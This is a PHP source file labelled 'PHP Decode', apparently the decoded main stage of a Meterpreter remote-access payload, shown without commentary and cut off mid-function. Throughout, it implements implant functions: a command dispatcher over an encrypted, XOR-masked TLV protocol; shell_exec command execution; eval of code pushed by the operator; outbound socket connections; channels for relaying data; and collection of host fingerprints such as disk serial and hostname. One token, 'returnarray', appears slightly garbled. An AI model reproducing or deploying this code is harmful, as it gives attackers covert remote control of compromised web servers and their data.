PHP Decode

<?php if(!isset($GLOBALS['channels'])){$GLOBALS['channels']=array();}if(!isset($GLOBALS['channel_process_map'])){$GLOBALS['channel_process_map']=array();}if(!isset($GLOBALS['resource_type_map'])){$GLOBALS['resource_type_map']=array();}if(!isset($GLOBALS['udp_host_map'])){$GLOBALS['udp_host_map']=array();}if(!isset($GLOBALS['readers'])){$GLOBALS['readers']=array();}if(!isset($GLOBALS['id2f'])){$GLOBALS['id2f']=array();}function register_command($_0,$_1){global $_2;if(!in_array($_1,$_2)){$_2[$_1]=$_0;}}define("MY_DEBUGGING",false);define("MY_DEBUGGING_LOG_FILE_PATH",false);function my_logfile($_3){if(MY_DEBUGGING&&MY_DEBUGGING_LOG_FILE_PATH){if(!isset($GLOBALS['logfile'])){$GLOBALS['logfile']=fopen(MY_DEBUGGING_LOG_FILE_PATH,'a');if(!$GLOBALS['logfile']){my_print("Failed to open debug log file");}}if($GLOBALS['logfile']){fwrite($GLOBALS['logfile'],"$_3\n");}}}function my_print($_3){if(MY_DEBUGGING){error_log($_3);my_logfile($_3);}}my_print("Evaling main meterpreter stage");function dump_array($_4,$_5=null){if(is_null($_5)){$_5="Array";}my_print(sprintf("$_5 (%s)",count($_4)));foreach($_4 as $_6=>$_7){if(is_array($_7)){dump_array($_7,"{$_5}[{$_6}]");}else{my_print(sprintf(" $_6 ($_7)"));}}}function dump_readers(){global $_8;dump_array($_8,'Readers');}function dump_resource_map(){global $_9;dump_array($_9,'Resource map');}function dump_channels($_10=""){global $_11;dump_array($_11,'Channels '.$_10);}if(!function_exists("file_get_contents")){function file_get_contents($_12){$_13=@fopen($_12,"rb");$_14=false;if($_13){do{$_14.=fgets($_13);}while(!feof($_13));}fclose($_13);return $_14;}}if(!function_exists('socket_set_option')){function socket_set_option($_15,$_16,$_17,$_18){socket_setopt($_15,$_16,$_17,$_18);}}define("PAYLOAD_UUID","\xb9\x6d\x7c\x7f\x05\xe7\x68\x20\xad\x3d\xbe\x32\xc5\x44\x14\x3e");define("SESSION_GUID","\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00");define("AES_256_CBC",'aes-256-cbc');define("ENC_NONE",0);define("ENC_AES256",1);define("PACKET_TYPE_REQUEST",0);define("PACKET_TYPE_RESPONSE",1);define("PACKET_TYPE_PLAIN_REQUEST",10);define("PACKET_TYPE_PLAIN_RESPONSE",11);define("ERROR_SUCCESS",0);define("ERROR_FAILURE",1);define("CHANNEL_CLASS_BUFFERED",0);define("CHANNEL_CLASS_STREAM",1);define("CHANNEL_CLASS_DATAGRAM",2);define("CHANNEL_CLASS_POOL",3);define("WIN_AF_INET",2);define("WIN_AF_INET6",23);define("TLV_META_TYPE_NONE",(0));define("TLV_META_TYPE_STRING",(1<<16));define("TLV_META_TYPE_UINT",(1<<17));define("TLV_META_TYPE_RAW",(1<<18));define("TLV_META_TYPE_BOOL",(1<<19));define("TLV_META_TYPE_QWORD",(1<<20));define("TLV_META_TYPE_COMPRESSED",(1<<29));define("TLV_META_TYPE_GROUP",(1<<30));define("TLV_META_TYPE_COMPLEX",(1<<31));define("TLV_META_TYPE_MASK",(1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16));define("TLV_RESERVED",0);define("TLV_EXTENSIONS",20000);define("TLV_USER",40000);define("TLV_TEMP",60000);define("TLV_TYPE_ANY",TLV_META_TYPE_NONE|0);define("TLV_TYPE_COMMAND_ID",TLV_META_TYPE_UINT|1);define("TLV_TYPE_REQUEST_ID",TLV_META_TYPE_STRING|2);define("TLV_TYPE_EXCEPTION",TLV_META_TYPE_GROUP|3);define("TLV_TYPE_RESULT",TLV_META_TYPE_UINT|4);define("TLV_TYPE_STRING",TLV_META_TYPE_STRING|10);define("TLV_TYPE_UINT",TLV_META_TYPE_UINT|11);define("TLV_TYPE_BOOL",TLV_META_TYPE_BOOL|12);define("TLV_TYPE_LENGTH",TLV_META_TYPE_UINT|25);define("TLV_TYPE_DATA",TLV_META_TYPE_RAW|26);define("TLV_TYPE_FLAGS",TLV_META_TYPE_UINT|27);define("TLV_TYPE_CHANNEL_ID",TLV_META_TYPE_UINT|50);define("TLV_TYPE_CHANNEL_TYPE",TLV_META_TYPE_STRING|51);define("TLV_TYPE_CHANNEL_DATA",TLV_META_TYPE_RAW|52);define("TLV_TYPE_CHANNEL_DATA_GROUP",TLV_META_TYPE_GROUP|53);define("TLV_TYPE_CHANNEL_CLASS",TLV_META_TYPE_UINT|54);define("TLV_TYPE_SEEK_WHENCE",TLV_META_TYPE_UINT|70);define("TLV_TYPE_SEEK_OFFSET",TLV_META_TYPE_UINT|71);define("TLV_TYPE_SEEK_POS",TLV_META_TYPE_UINT|72);define("TLV_TYPE_EXCEPTION_CODE",TLV_META_TYPE_UINT|300);define("TLV_TYPE_EXCEPTION_STRING",TLV_META_TYPE_STRING|301);define("TLV_TYPE_LIBRARY_PATH",TLV_META_TYPE_STRING|400);define("TLV_TYPE_TARGET_PATH",TLV_META_TYPE_STRING|401);define("TLV_TYPE_MACHINE_ID",TLV_META_TYPE_STRING|460);define("TLV_TYPE_UUID",TLV_META_TYPE_RAW|461);define("TLV_TYPE_SESSION_GUID",TLV_META_TYPE_RAW|462);define("TLV_TYPE_RSA_PUB_KEY",TLV_META_TYPE_RAW|550);define("TLV_TYPE_SYM_KEY_TYPE",TLV_META_TYPE_UINT|551);define("TLV_TYPE_SYM_KEY",TLV_META_TYPE_RAW|552);define("TLV_TYPE_ENC_SYM_KEY",TLV_META_TYPE_RAW|553);define('EXTENSION_ID_CORE',0);define('COMMAND_ID_CORE_CHANNEL_CLOSE',1);define('COMMAND_ID_CORE_CHANNEL_EOF',2);define('COMMAND_ID_CORE_CHANNEL_INTERACT',3);define('COMMAND_ID_CORE_CHANNEL_OPEN',4);define('COMMAND_ID_CORE_CHANNEL_READ',5);define('COMMAND_ID_CORE_CHANNEL_SEEK',6);define('COMMAND_ID_CORE_CHANNEL_TELL',7);define('COMMAND_ID_CORE_CHANNEL_WRITE',8);define('COMMAND_ID_CORE_CONSOLE_WRITE',9);define('COMMAND_ID_CORE_ENUMEXTCMD',10);define('COMMAND_ID_CORE_GET_SESSION_GUID',11);define('COMMAND_ID_CORE_LOADLIB',12);define('COMMAND_ID_CORE_MACHINE_ID',13);define('COMMAND_ID_CORE_MIGRATE',14);define('COMMAND_ID_CORE_NATIVE_ARCH',15);define('COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION',16);define('COMMAND_ID_CORE_PATCH_URL',17);define('COMMAND_ID_CORE_PIVOT_ADD',18);define('COMMAND_ID_CORE_PIVOT_REMOVE',19);define('COMMAND_ID_CORE_PIVOT_SESSION_DIED',20);define('COMMAND_ID_CORE_SET_SESSION_GUID',21);define('COMMAND_ID_CORE_SET_UUID',22);define('COMMAND_ID_CORE_SHUTDOWN',23);define('COMMAND_ID_CORE_TRANSPORT_ADD',24);define('COMMAND_ID_CORE_TRANSPORT_CHANGE',25);define('COMMAND_ID_CORE_TRANSPORT_GETCERTHASH',26);define('COMMAND_ID_CORE_TRANSPORT_LIST',27);define('COMMAND_ID_CORE_TRANSPORT_NEXT',28);define('COMMAND_ID_CORE_TRANSPORT_PREV',29);define('COMMAND_ID_CORE_TRANSPORT_REMOVE',30);define('COMMAND_ID_CORE_TRANSPORT_SETCERTHASH',31);define('COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS',32);define('COMMAND_ID_CORE_TRANSPORT_SLEEP',33);function my_cmd($_19){return shell_exec($_19);}function is_windows(){return(strtoupper(substr(PHP_OS,0,3))=="WIN");}function is_linux(){return(strtoupper(substr(PHP_OS,0,3))=="LIN");}if(!function_exists('core_channel_open')){register_command('core_channel_open',COMMAND_ID_CORE_CHANNEL_OPEN);function core_channel_open($_20,&$_21){$_22=packet_get_tlv($_20,TLV_TYPE_CHANNEL_TYPE);my_print("Client wants a ".$_22['value']." channel, i'll see what i can do");$_23="channel_create_".$_22['value'];if($_22['value']&&is_callable($_23)){my_print("Calling {$_23}");$_24=$_23($_20,$_21);}else{my_print("I don't know how to make a ".$_22['value']." channel. =(");$_24=ERROR_FAILURE;}return $_24;}}if(!function_exists('core_channel_eof')){register_command('core_channel_eof',COMMAND_ID_CORE_CHANNEL_EOF);function core_channel_eof($_20,&$_21){my_print("doing channel eof");$_25=packet_get_tlv($_20,TLV_TYPE_CHANNEL_ID);$_0=get_channel_by_id($_25['value']);if($_0){if(eof($_0[1])){packet_add_tlv($_21,create_tlv(TLV_TYPE_BOOL,1));}else{packet_add_tlv($_21,create_tlv(TLV_TYPE_BOOL,0));}return ERROR_SUCCESS;}else{return ERROR_FAILURE;}}}if(!function_exists('core_channel_read')){register_command('core_channel_read',COMMAND_ID_CORE_CHANNEL_READ);function core_channel_read($_20,&$_21){my_print("doing channel read");$_25=packet_get_tlv($_20,TLV_TYPE_CHANNEL_ID);$_26=packet_get_tlv($_20,TLV_TYPE_LENGTH);$_27=$_25['value'];$_28=$_26['value'];$_29=channel_read($_27,$_28);if($_29===false){$_30=ERROR_FAILURE;}else{packet_add_tlv($_21,create_tlv(TLV_TYPE_CHANNEL_DATA,$_29));$_30=ERROR_SUCCESS;}return $_30;}}if(!function_exists('core_channel_write')){register_command('core_channel_write',COMMAND_ID_CORE_CHANNEL_WRITE);function core_channel_write($_20,&$_21){$_25=packet_get_tlv($_20,TLV_TYPE_CHANNEL_ID);$_31=packet_get_tlv($_20,TLV_TYPE_CHANNEL_DATA);$_26=packet_get_tlv($_20,TLV_TYPE_LENGTH);$_27=$_25['value'];$_29=$_31['value'];$_28=$_26['value'];$_32=channel_write($_27,$_29,$_28);if($_32===false){return ERROR_FAILURE;}else{packet_add_tlv($_21,create_tlv(TLV_TYPE_LENGTH,$_32));return ERROR_SUCCESS;}}}if(!function_exists('core_channel_close')){register_command('core_channel_close',COMMAND_ID_CORE_CHANNEL_CLOSE);function core_channel_close($_20,&$_21){global $_33;my_print("doing channel close");$_25=packet_get_tlv($_20,TLV_TYPE_CHANNEL_ID);$_27=$_25['value'];$_0=get_channel_by_id($_27);if($_0){channel_close_handles($_27);channel_remove($_27);if(array_key_exists($_27,$_33)and is_callable('close_process')){close_process($_33[$_27]);}return ERROR_SUCCESS;}dump_channels("after close");return ERROR_FAILURE;}}if(!function_exists('channel_close_handles')){function channel_close_handles($_34){global $_11;if(!array_key_exists($_34,$_11)){return;}$_0=$_11[$_34];for($_1=0;$_1<3;$_1++){if(array_key_exists($_1,$_0)&&is_resource($_0[$_1])){close($_0[$_1]);remove_reader($_0[$_1]);}}if(strlen($_0['data'])==0){channel_remove($_34);}}}function channel_remove($_34){global $_11;unset($_11[$_34]);}if(!function_exists('core_channel_interact')){register_command('core_channel_interact',COMMAND_ID_CORE_CHANNEL_INTERACT);function core_channel_interact($_20,&$_21){global $_8;my_print("doing channel interact");$_25=packet_get_tlv($_20,TLV_TYPE_CHANNEL_ID);$_27=$_25['value'];$_35=packet_get_tlv($_20,TLV_TYPE_BOOL);$_0=get_channel_by_id($_27);if($_0){if($_35['value']){if(!in_array($_0[1],$_8)){add_reader($_0[1]);if(array_key_exists(2,$_0)&&$_0[1]!=$_0[2]){add_reader($_0[2]);}$_24=ERROR_SUCCESS;}else{$_24=ERROR_FAILURE;}}else{if(in_array($_0[1],$_8)){remove_reader($_0[1]);remove_reader($_0[2]);$_24=ERROR_SUCCESS;}else{$_24=ERROR_SUCCESS;}}}else{my_print("Trying to interact with an invalid channel");$_24=ERROR_FAILURE;}return $_24;}}function interacting($_34){global $_8;$_0=get_channel_by_id($_34);if(in_array($_0[1],$_8)){return true;}return false;}if(!function_exists('core_shutdown')){register_command('core_shutdown',COMMAND_ID_CORE_SHUTDOWN);function core_shutdown($_20,&$_21){my_print("doing core shutdown");die();}}if(!function_exists('core_loadlib')){register_command('core_loadlib',COMMAND_ID_CORE_LOADLIB);function core_loadlib($_20,&$_21){global $_2;my_print("doing core_loadlib");$_31=packet_get_tlv($_20,TLV_TYPE_DATA);if(($_31['type']& TLV_META_TYPE_COMPRESSED)==TLV_META_TYPE_COMPRESSED){return ERROR_FAILURE;}$_36=$_2;if(extension_loaded('suhosin')&&ini_get('suhosin.executor.disable_eval')){$_37=create_function('',$_31['value']);$_37();}else{eval($_31['value']);}$_38=array_diff($_2,$_36);foreach($_38 as $_27=>$_39){packet_add_tlv($_21,create_tlv(TLV_TYPE_UINT,$_27));}return ERROR_SUCCESS;}}if(!function_exists('core_enumextcmd')){register_command('core_enumextcmd',COMMAND_ID_CORE_ENUMEXTCMD);function core_enumextcmd($_20,&$_21){my_print("doing core_enumextcmd");global $_2;$_40=packet_get_tlv($_20,TLV_TYPE_UINT);$_41=$_40['value'];$_42=packet_get_tlv($_20,TLV_TYPE_LENGTH);$_43=$_42['value']+$_41;foreach($_2 as $_27=>$_44){my_print("core_enumextcmd - checking ".$_44." as ".$_27);list($_45,$_19)=explode("_",$_44,2);if($_41<$_27&&$_27<$_43){my_print("core_enumextcmd - adding ".$_44." as ".$_27);packet_add_tlv($_21,create_tlv(TLV_TYPE_UINT,$_27));}}return ERROR_SUCCESS;}}if(!function_exists('core_set_uuid')){register_command('core_set_uuid',COMMAND_ID_CORE_SET_UUID);function core_set_uuid($_20,&$_21){my_print("doing core_set_uuid");$_46=packet_get_tlv($_20,TLV_TYPE_UUID);if($_46!=null){$GLOBALS['UUID']=$_46['value'];my_print("New UUID is {$GLOBALS['UUID']}");}return ERROR_SUCCESS;}}function get_hdd_label(){foreach(scandir('/dev/disk/by-id/')as $_12){foreach(array("ata-","mb-")as $_47){if(strpos($_12,$_47)===0){return substr($_12,strlen($_47));}}}return "";}function der_to_pem($_48){$_49=chunk_split(base64_encode($_48),64,"\n");$_49="-----BEGIN PUBLIC KEY-----\n".$_49."-----END PUBLIC KEY-----\n";return $_49;}if(!function_exists('core_negotiate_tlv_encryption')){register_command('core_negotiate_tlv_encryption',COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION);function core_negotiate_tlv_encryption($_20,&$_21){if(supports_aes()){my_print("AES functionality is supported");packet_add_tlv($_21,create_tlv(TLV_TYPE_SYM_KEY_TYPE,ENC_AES256));$GLOBALS['AES_ENABLED']=false;$GLOBALS['AES_KEY']=rand_bytes(32);if(function_exists('openssl_pkey_get_public')&&function_exists('openssl_public_encrypt')){my_print("Encryption via public key is supported");$_50=packet_get_tlv($_20,TLV_TYPE_RSA_PUB_KEY);if($_50!=null){$_6=openssl_pkey_get_public(der_to_pem($_50['value']));$_51='';openssl_public_encrypt($GLOBALS['AES_KEY'],$_51,$_6,OPENSSL_PKCS1_PADDING);packet_add_tlv($_21,create_tlv(TLV_TYPE_ENC_SYM_KEY,$_51));return ERROR_SUCCESS;}}packet_add_tlv($_21,create_tlv(TLV_TYPE_SYM_KEY,$GLOBALS['AES_KEY']));}return ERROR_SUCCESS;}}if(!function_exists('core_get_session_guid')){register_command('core_get_session_guid',COMMAND_ID_CORE_GET_SESSION_GUID);function core_get_session_guid($_20,&$_21){packet_add_tlv($_21,create_tlv(TLV_TYPE_SESSION_GUID,$GLOBALS['SESSION_GUID']));return ERROR_SUCCESS;}}if(!function_exists('core_set_session_guid')){register_command('core_set_session_guid',COMMAND_ID_CORE_SET_SESSION_GUID);function core_set_session_guid($_20,&$_21){my_print("doing core_set_session_guid");$_52=packet_get_tlv($_20,TLV_TYPE_SESSION_GUID);if($_52!=null){$GLOBALS['SESSION_ID']=$_52['value'];my_print("New Session GUID is {$GLOBALS['SESSION_GUID']}");}return ERROR_SUCCESS;}}if(!function_exists('core_machine_id')){register_command('core_machine_id',COMMAND_ID_CORE_MACHINE_ID);function core_machine_id($_20,&$_21){my_print("doing core_machine_id");if(is_callable('gethostname')){$_53=gethostname();}else{$_53=php_uname('n');}$_54="";if(is_windows()){$_55=strtolower(shell_exec("vol %SYSTEMDRIVE%"));$_54=preg_replace('/.*serial number is ([a-z0-9]{4}-[a-z0-9]{4}).*/s','$1',$_55);}else{$_54=get_hdd_label();}packet_add_tlv($_21,create_tlv(TLV_TYPE_MACHINE_ID,$_54.":".$_53));return ERROR_SUCCESS;}}$_11=array();function register_channel($_56,$_57=null,$_58=null){global $_11;if($_57==null){$_57=$_56;}if($_58==null){$_58=$_57;}$_11[]=array(0=>$_56,1=>$_57,2=>$_58,'type'=>get_rtype($_56),'data'=>'');$_27=end(array_keys($_11));my_print("Created new channel $_56, with id $_27");return $_27;}function get_channel_id_from_resource($_59){global $_11;if(empty($_11)){return false;}foreach($_11 as $_1=>$_60){if(in_array($_59,$_60)){my_print("Found channel id $_1");return $_1;}}return false;}function &get_channel_by_id($_61){global $_11;my_print("Looking up channel id $_61");if(array_key_exists($_61,$_11)){my_print("Found one");return $_11[$_61];}else{return false;}}function channel_write($_61,$_29){$_0=get_channel_by_id($_61);if($_0&&is_resource($_0[0])){my_print("---Writing '$_29' to channel $_61");return write($_0[0],$_29);}else{return false;}}function channel_read($_61,$_28){$_0=&get_channel_by_id($_61);if($_0){$_24=substr($_0['data'],0,$_28);$_0['data']=substr($_0['data'],$_28);if(strlen($_24)>0){my_print("Had some leftovers: '$_24'");}if(strlen($_24)<$_28 and is_resource($_0[2])and $_0[1]!=$_0[2]){$_62=read($_0[2]);$_0['data'].=$_62;$_63=$_28-strlen($_24);$_24.=substr($_0['data'],0,$_63);$_0['data']=substr($_0['data'],$_63);}if(strlen($_24)<$_28 and is_resource($_0[1])){$_62=read($_0[1]);$_0['data'].=$_62;$_63=$_28-strlen($_24);$_24.=substr($_0['data'],0,$_63);$_0['data']=substr($_0['data'],$_63);}if(false===$_62 and empty($_24)){if(interacting($_61)){handle_dead_resource_channel($_0[1]);}return false;}return $_24;}else{return false;}}function rand_xor_byte(){return chr(mt_rand(1,255));}function rand_bytes($_64){$_65='';for($_1=0;$_1<$_64;$_1++){$_65.=rand_xor_byte();}return $_65;}function rand_xor_key(){return rand_bytes(4);}function xor_bytes($_6,$_29){$_66='';for($_1=0;$_1<strlen($_29);++$_1){$_66.=$_29[$_1]^$_6[$_1%4];}return $_66;}function generate_req_id(){$_67='abcdefghijklmnopqrstuvwxyz';$_68='';for($_69=0;$_69<32;$_69++){$_68.=$_67[rand(0,strlen($_67)-1)];}return $_68;}function supports_aes(){return function_exists('openssl_decrypt')&&function_exists('openssl_encrypt');}function decrypt_packet($_70){$_71=unpack("Nlen",substr($_70,20,4));$_72=$_71['len'];if($_72==ENC_AES256&&supports_aes()&&$GLOBALS['AES_KEY']!=null){$_73=substr($_70,24);$_74=openssl_decrypt(substr($_73,24),AES_256_CBC,$GLOBALS['AES_KEY'],OPENSSL_RAW_DATA,substr($_73,8,16));return pack("N",strlen($_74)+8).substr($_73,4,4).$_74;}return substr($_70,24);}function encrypt_packet($_70){if(supports_aes()&&$GLOBALS['AES_KEY']!=null){if($GLOBALS['AES_ENABLED']===true){$_75=rand_bytes(16);$_51=$_75.openssl_encrypt(substr($_70,8),AES_256_CBC,$GLOBALS['AES_KEY'],OPENSSL_RAW_DATA,$_75);$_76=pack("N",strlen($_51)+8).substr($_70,4,4);return $GLOBALS['SESSION_GUID'].pack("N",ENC_AES256).$_76.$_51;}$GLOBALS['AES_ENABLED']=true;}return $GLOBALS['SESSION_GUID'].pack("N",ENC_NONE).$_70;}function write_tlv_to_socket($_59,$_70){$_77=rand_xor_key();write($_59,$_77.xor_bytes($_77,encrypt_packet($_70)));}function handle_dead_resource_channel($_59){global $_78;if(!is_resource($_59)){return;}$_34=get_channel_id_from_resource($_59);if($_34===false){my_print("Resource has no channel: {$_59}");remove_reader($_59);close($_59);}else{my_print("Handling dead resource: {$_59}, for channel: {$_34}");channel_close_handles($_34);$_21=pack("N",PACKET_TYPE_REQUEST);packet_add_tlv($_21,create_tlv(TLV_TYPE_COMMAND_ID,COMMAND_ID_CORE_CHANNEL_CLOSE));packet_add_tlv($_21,create_tlv(TLV_TYPE_REQUEST_ID,generate_req_id()));packet_add_tlv($_21,create_tlv(TLV_TYPE_CHANNEL_ID,$_34));packet_add_tlv($_21,create_tlv(TLV_TYPE_UUID,$GLOBALS['UUID']));$_21=pack("N",strlen($_21)+4).$_21;write_tlv_to_socket($_78,$_21);}}function handle_resource_read_channel($_59,$_29){global $_79;$_34=get_channel_id_from_resource($_59);my_print("Handling data from $_59");$_21=pack("N",PACKET_TYPE_REQUEST);packet_add_tlv($_21,create_tlv(TLV_TYPE_COMMAND_ID,COMMAND_ID_CORE_CHANNEL_WRITE));if(array_key_exists((int)$_59,$_79)){list($_80,$_69)=$_79[(int)$_59];packet_add_tlv($_21,create_tlv(TLV_TYPE_PEER_HOST,$_80));packet_add_tlv($_21,create_tlv(TLV_TYPE_PEER_PORT,$_69));}packet_add_tlv($_21,create_tlv(TLV_TYPE_CHANNEL_ID,$_34));packet_add_tlv($_21,create_tlv(TLV_TYPE_CHANNEL_DATA,$_29));packet_add_tlv($_21,create_tlv(TLV_TYPE_LENGTH,strlen($_29)));packet_add_tlv($_21,create_tlv(TLV_TYPE_REQUEST_ID,generate_req_id()));packet_add_tlv($_21,create_tlv(TLV_TYPE_UUID,$GLOBALS['UUID']));$_21=pack("N",strlen($_21)+4).$_21;return $_21;}function create_response($_20){global $_2;$_21=pack("N",PACKET_TYPE_RESPONSE);$_81=packet_get_tlv($_20,TLV_TYPE_COMMAND_ID);my_print("command id is {$_81['value']}");packet_add_tlv($_21,$_81);$_82=packet_get_tlv($_20,TLV_TYPE_REQUEST_ID);packet_add_tlv($_21,$_82);$_83=$_2[$_81['value']];if(is_callable($_83)){$_66=$_83($_20,$_21);}else{my_print("Got a request for something I don't know how to handle (".$_81['value']." / ".$_83."), returning failure");$_66=ERROR_FAILURE;}packet_add_tlv($_21,create_tlv(TLV_TYPE_RESULT,$_66));packet_add_tlv($_21,create_tlv(TLV_TYPE_UUID,$GLOBALS['UUID']));$_21=pack("N",strlen($_21)+4).$_21;return $_21;}function create_tlv($_16,$_7){returnarray('type'=>$_16,'value'=>$_7);}function tlv_pack($_73){$_24="";if(($_73['type']& TLV_META_TYPE_STRING)==TLV_META_TYPE_STRING){$_24=pack("NNa*",8+strlen($_73['value'])+1,$_73['type'],$_73['value']."\0");}elseif(($_73['type']& TLV_META_TYPE_QWORD)==TLV_META_TYPE_QWORD){$_84=($_73['value']>>32)& 0xFFFFFFFF;$_85=$_73['value']& 0xFFFFFFFF;$_24=pack("NNNN",8+8,$_73['type'],$_84,$_85);}elseif(($_73['type']& TLV_META_TYPE_UINT)==TLV_META_TYPE_UINT){$_24=pack("NNN",8+4,$_73['type'],$_73['value']);}elseif(($_73['type']& TLV_META_TYPE_BOOL)==TLV_META_TYPE_BOOL){$_24=pack("NN",8+1,$_73['type']);$_24.=$_73['value']?"\x01":"\x00";}elseif(($_73['type']& TLV_META_TYPE_RAW)==TLV_META_TYPE_RAW){$_24=pack("NN",8+strlen($_73['value']),$_73['type']).$_73['value'];}elseif(($_73['type']& TLV_META_TYPE_GROUP)==TLV_META_TYPE_GROUP){$_24=pack("NN",8+strlen($_73['value']),$_73['type']).$_73['value'];}elseif(($_73['type']& TLV_META_TYPE_COMPLEX)==TLV_META_TYPE_COMPLEX){$_24=pack("NN",8+strlen($_73['value']),$_73['type']).$_73['value'];}else{my_print("Don't know how to make a tlv of type ".$_73['type']." (meta type ".sprintf("%08x",$_73['type']& TLV_META_TYPE_MASK)."), wtf");}return $_24;}function tlv_unpack($_86){$_73=unpack("Nlen/Ntype",substr($_86,0,8));$_16=$_73['type'];my_print("len: {$_73['len']}, type: {$_73['type']}");if(($_16 & TLV_META_TYPE_STRING)==TLV_META_TYPE_STRING){$_73=unpack("Nlen/Ntype/a*value",substr($_86,0,$_73['len']));$_73['value']=str_replace("\0","",$_73['value']);}elseif(($_16 & TLV_META_TYPE_UINT)==TLV_META_TYPE_UINT){$_73=unpack("Nlen/Ntype/Nvalue",substr($_86,0,$_73['len']));}elseif(($_16 & TLV_META_TYPE_QWORD)==TLV_META_TYPE_QWORD){$_73=unpack("Nlen/Ntype/Nhi/Nlo",substr($_86,0,$_73['len']));$_73['value']=$_73['hi']<<32|$_73['lo'];}elseif(($_16 & TLV_META_TYPE_BOOL)==TLV_META_TYPE_BOOL){$_73=unpack("Nlen/Ntype/cvalue",substr($_86,0,$_73['len']));}elseif(($_16 & TLV_META_TYPE_RAW)==TLV_META_TYPE_RAW){$_73=unpack("Nlen/Ntype",$_86);$_73['value']=substr($_86,8,$_73['len']-8);}else{my_print("Wtf type is this? $_16");$_73=null;}return $_73;}function packet_add_tlv(&$_21,$_73){$_21.=tlv_pack($_73);}function packet_get_tlv($_21,$_16){$_87=8;while($_87<strlen($_21)){$_73=tlv_unpack(substr($_21,$_87));if($_16==($_73['type']&~TLV_META_TYPE_COMPRESSED)){return $_73;}$_87+=$_73['len'];}return null;}function packet_get_all_tlvs($_21,$_16){my_print("Looking for all tlvs of type $_16");$_87=8;$_88=array();while($_87<strlen($_21)){$_73=tlv_unpack(substr($_21,$_87));if($_73==NULL){break;}my_print("len: {$_73['len']}, type: {$_73['type']}");if(empty($_16)||$_16==($_73['type']&~TLV_META_TYPE_COMPRESSED)){my_print("Found one at offset $_87");array_push($_88,$_73);}$_87+=$_73['len'];}return $_88;}function register_socket($_15,$_89=null,$_90=null){global $_9,$_79;my_print("Registering socket $_15 for ($_89:$_90)");$_9[(int)$_15]='socket';if($_89){$_79[(int)$_15]=array($_89,$_90);}}function register_stream($_91,$_89=null,$_90=null){global $_9,$_79;my_print("Registering stream $_91 for ($_89:$_90)");$_9[(int)$_91]='stream';if($_89){$_79[(int)$_91]=array($_89,$_90);}}function connect($_89,$_90,$_92='tcp'){my_print("Doing connect($_89, $_90)");$_15=false;$_93=WIN_AF_INET;$_94=$_89;if(FALSE!==strpos($_89,":")){$_93=WIN_AF_INET6;$_89="[".$_94."]";}if(is_callable('stream_socket_client')){my_print("stream_socket_client({$_92}://{$_89}:{$_90})");if($_92=='ssl'){$_15=stream_socket_client("ssl://{$_89}:{$_90}",$_95,$_96,5,STREAM_CLIENT_ASYNC_CONNECT);if(!$_15){return false;}stream_set_blocking($_15,0);register_stream($_15);}elseif($_92=='tcp'){$_15=stream_socket_client("tcp://{$_89}:{$_90}");if(!$_15){return false;}register_stream($_15);}elseif($_92=='udp'){$_15=stream_socket_client("udp://{$_89}:{$_90}");if(!$_15){return false;}register_stream($_15,$_89,$_90);}}else if(is_callable('fsockopen')){my_print("fsockopen");if($_92=='ssl'){$_15=fsockopen("ssl://{$_89}:{$_90}");stream_set_blocking($_15,0);register_stream($_15);}elseif($_92=='tcp'){$_15=fsockopen($_89,$_90);if(!$_15){return false;}if(is_callable('socket_set_timeout')){socket_set_timeout($_15,2);}register_stream($_15);}else{$_15=fsockopen($_92."://".$_89,$_90);if(!$_15){return false;}register_stream($_15,$_89,$_90);}}else if(is_callable('socket_create')){my_print("socket_create");if($_92=='tcp'){$_15=socket_create($_93,SOCK_STREAM,SOL_TCP);$_30=socket_connect($_15,$_94,$_90);if(!$_30){return false;}register_socket($_15);}elseif($_92=='udp'){$_15=socket_create($_93,SOCK_DGRAM,SOL_UDP);register_socket($_15,$_94,$_90);}}return $_15;}function eof($_59){$_24=false;switch(get_rtype($_59)){case 'socket':break;case 'stream':$_24=feof($_59);break;}return $_24;}function close($_59){my_print("Closing resource $_59");global $_9,$_79;remove_reader($_59);switch(get_rtype($_59)){case 'socket':$_24=socket_close($_59);break;case 'stream':$_24=fclose($_59);break;}if(array_key_exists((int)$_59,$_9)){unset($_9[(int)$_59]);}if(array_key_exists((int)$_59,$_79)){my_print("Removing $_59 from udp_host_map");unset($_79[(int)$_59]);}return $_24;}function read($_59,$_28=null){global $_79;if(is_null($_28)){$_28=8192;}$_97='';switch(get_rtype($_59)){case 'socket':if(array_key_exists((int)$_59,$_79)){my_print("Reading UDP socket");list($_98,$_90)=$_79[(int)$_59];socket_recvfrom($_59,$_97,$_28,PHP_BINARY_READ,$_98,$_90);}else{my_print("Reading TCP socket");$_97.=socket_read($_59,$_28,PHP_BINARY_READ);}break;case 'stream':global $_78;$_99=Array($_59);my_print("Calling select to see if there's data on $_59");$_100=0;while(true){$_101=NULL;$_102=NULL;$_103=0;$_104=stream_select($_99,$_101,$_102,$_103);if($_104===0){break;}if($_104===false or feof($_59)){my_print("Checking for failed read...");if(empty($_97)){my_print("---- EOF ON $_59 ----");$_97=false;}break;}$_105=stream_get_meta_data($_59);dump_array($_105,"Metadata for {$_59}");if($_105['unread_bytes']>0){$_100=min($_28,$_105['unread_bytes']);$_97.=fread($_59,$_100);break;}else{$_36=fread($_59,$_28);$_100=$_28;$_97.=$_36;if(strlen($_36)<$_28){break;}}if($_59!=$_78){my_print("buff: '$_97'");}$_99=Array($_59);}my_print(sprintf("Done with the big read loop on $_59, got %d bytes, asked for %d bytes",strlen($_97),$_100));break;default:$_34=get_channel_id_from_resource($_59);$_0=get_channel_by_id($_34);if($_0 and $_0['data']){$_97=substr($_0['data'],0,$_28);$_0['data']=substr($_0['data'],$_28);my_print("Aha! got some leftovers");}else{my_print("Wtf don't know how to read from resource $_59, c: $_0");if(is_array($_0)){dump_array($_0);}break;}}my_print(sprintf("Read %d bytes",strlen($_97)));return $_97;}function write($_59,$_97,$_28=0){global $_79;if($_28==0){$_28=strlen($_97);}$_106=false;switch(get_rtype($_59)){case 'socket':if(array_key_exists((int)$_59,$_79)){my_print("Writing UDP socket");list($_98,$_90)=$_79[(int)$_59];$_106=socket_sendto($_59,$_97,$_28,$_98,$_90);}else{$_106=socket_write($_59,$_97,$_28);}break;case 'stream':$_106=fwrite($_59,$_97,$_28);fflush($_59);break;default:my_print("Wtf don't know how to write to resource $_59");break;}return $_106;}function get_rtype($_59){global 